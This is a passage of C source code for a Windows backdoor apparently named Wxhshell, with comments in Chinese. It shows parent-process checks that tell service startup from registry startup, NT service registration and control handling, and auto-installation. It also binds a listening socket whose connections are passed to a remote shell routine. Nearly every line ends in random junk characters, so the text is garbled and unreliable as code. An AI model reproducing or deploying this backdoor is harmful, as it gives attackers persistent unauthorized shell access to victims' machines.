DWORD BasePriority; y )QLR<wf
ULONG UniqueProcessId; /2tA
n
ULONG InheritedFromUniqueProcessId; EF0v!XW
} PROCESS_BASIC_INFORMATION; 2bt>t[0ad
rzfLp
PROCNTQSIP NtQueryInformationProcess; @j!,8JQEd
AO-5>r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gRLt0&Q~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aI=p_+.h
q0.!T0i
HANDLE hProcess; p<5]QV7st
PROCESS_BASIC_INFORMATION pbi; sxNf"C=-.
Lq(=0U\"P
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nBy-/BU&
if(NULL == hInst ) return 0; 69c4bT:b"
GwX)~.i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zxebv#4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <V ?2;Gy
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); btW#ebm
yGa0/o18!?
if (!NtQueryInformationProcess) return 0; ~+Wx\:TT
v;,W ^#`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7`|'Om?'
if(!hProcess) return 0; f_~T
.p[uIRd`
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (0{Dn5MH
}-3 VK%
CloseHandle(hProcess); lp`j3)
zluq2r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9g6$"',H
if(hProcess==NULL) return 0; g[} L
?
v=k+MvX
HMODULE hMod; v5[gFY(?
char procName[255]; UC`h o%OBF
unsigned long cbNeeded; <B6md
i'R
ex>7f%\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fG\"p
nCYz];".
CloseHandle(hProcess); a6Vfd&
|f_'(-v`E
if(strstr(procName,"services")) return 1; // 以服务启动 >CvhTrPI
j@xIa-{*
return 0; // 注册表启动 /\1'.GR
} ^Mq/Cf_T
tA1?8`bQ
// 主模块 "Q@m7j)(
int StartWxhshell(LPSTR lpCmdLine) OY1bFIE
{ F_079~bJ
SOCKET wsl; }83
8F&
BOOL val=TRUE; {V7mpVTX.
int port=0; [{Wo:c9Qq1
struct sockaddr_in door; Bz'.7"
":0
lf"w/pb'
if(wscfg.ws_autoins) Install(); f0P,j~]
4U dk#
port=atoi(lpCmdLine); Noj*K6
4b<|jVl\
if(port<=0) port=wscfg.ws_port; i ;B^I8
JV_`E_!
WSADATA data; <y7{bk~i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2S7BzZ/
0er|QC
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; & %/p;::A
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3w^W6hN)
door.sin_family = AF_INET; 7 7bwYKIn
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w6Gez~8
door.sin_port = htons(port); ;?u cC@
@PM<pEve
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =mLp g4
closesocket(wsl); XoD:gf
return 1; 2#NnA3l]x%
} T[4xt,[a
Gy L9}
if(listen(wsl,2) == INVALID_SOCKET) { TDw~sxtv&
closesocket(wsl); G+#bO5
return 1; z#G\D5yX[*
} OGcdv{,P
Wxhshell(wsl); E 14DZ
WSACleanup(); 2<*"@Vj
8^EWD3N`
return 0; &n,v@
gt
vRtERFL
} W?SAa7+
%UdE2 D'bC
// 以NT服务方式启动 {
1~]}K2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z~f;}`0
{ mNC?kp
DWORD status = 0; .WSn Y71
DWORD specificError = 0xfffffff; '{0O!y[H6
L[PqEN\i
serviceStatus.dwServiceType = SERVICE_WIN32; n7i~^nf>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j)G%I y[`
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,X|FyO(p
serviceStatus.dwWin32ExitCode = 0; r;b `@
.
serviceStatus.dwServiceSpecificExitCode = 0; >/Z*\6|Zx#
serviceStatus.dwCheckPoint = 0; 27R4B
O
serviceStatus.dwWaitHint = 0; (XR}U6^v]
u gRyUny
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b&A/S$*
if (hServiceStatusHandle==0) return; 5M> p%/
GR(m+%Vw!
status = GetLastError(); )+v5H
if (status!=NO_ERROR) ~i?Jg/qcxN
{ |Zn;O6c#L5
serviceStatus.dwCurrentState = SERVICE_STOPPED; )/f#~$ws
serviceStatus.dwCheckPoint = 0; Q,9KLi3
serviceStatus.dwWaitHint = 0; u`B/ 9-K)y
serviceStatus.dwWin32ExitCode = status; qm#?DSLap
serviceStatus.dwServiceSpecificExitCode = specificError; B^M
L}$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )(YJ6l
return; 3\{acm
} Y&M {7
fFC9:9<
serviceStatus.dwCurrentState = SERVICE_RUNNING; *kf%?T.
serviceStatus.dwCheckPoint = 0; T+0z.E!~I
serviceStatus.dwWaitHint = 0; dC4`xUv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G@e;ms1
}
cMtUb
~K)FuL[*
// 处理NT服务事件,比如:启动、停止 i< imE#
VOID WINAPI NTServiceHandler(DWORD fdwControl) _Q\rZ
l
{ 5y='1s[%
switch(fdwControl) \p\p~FVS
{ k,OxGG
case SERVICE_CONTROL_STOP: #mM9^LJ
serviceStatus.dwWin32ExitCode = 0; cWQ &zc
serviceStatus.dwCurrentState = SERVICE_STOPPED; W }Ll)7(|T
serviceStatus.dwCheckPoint = 0; -'oxenu
serviceStatus.dwWaitHint = 0; 4ke.p<dG
{ @d5t%V\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [$>@f{:
} &B+_#V=X@
return; B'B0 e`
case SERVICE_CONTROL_PAUSE: I8W9Kzf
serviceStatus.dwCurrentState = SERVICE_PAUSED; ndBqXS
break; 55y}t%5
case SERVICE_CONTROL_CONTINUE: E^w0X,0XlE
serviceStatus.dwCurrentState = SERVICE_RUNNING; IAmMO[9H
break; bLggh]Fh
case SERVICE_CONTROL_INTERROGATE: {)Zz4
break; 5M>SrZH
}; PJKxh%J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *|+$7j
} vl`St$$|
O" [#g
// 标准应用程序主函数 DM,;W`|6%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4/x.qoj
{ /HSg)
Y}\3PaUa
// 获取操作系统版本 >
JTf0/
OsIsNt=GetOsVer(); 5 "x1Pln
GetModuleFileName(NULL,ExeFile,MAX_PATH); lP(<4mdP
/PBK:B
// 从命令行安装 ^sJp!hi4=)
if(strpbrk(lpCmdLine,"iI")) Install(); NUi&x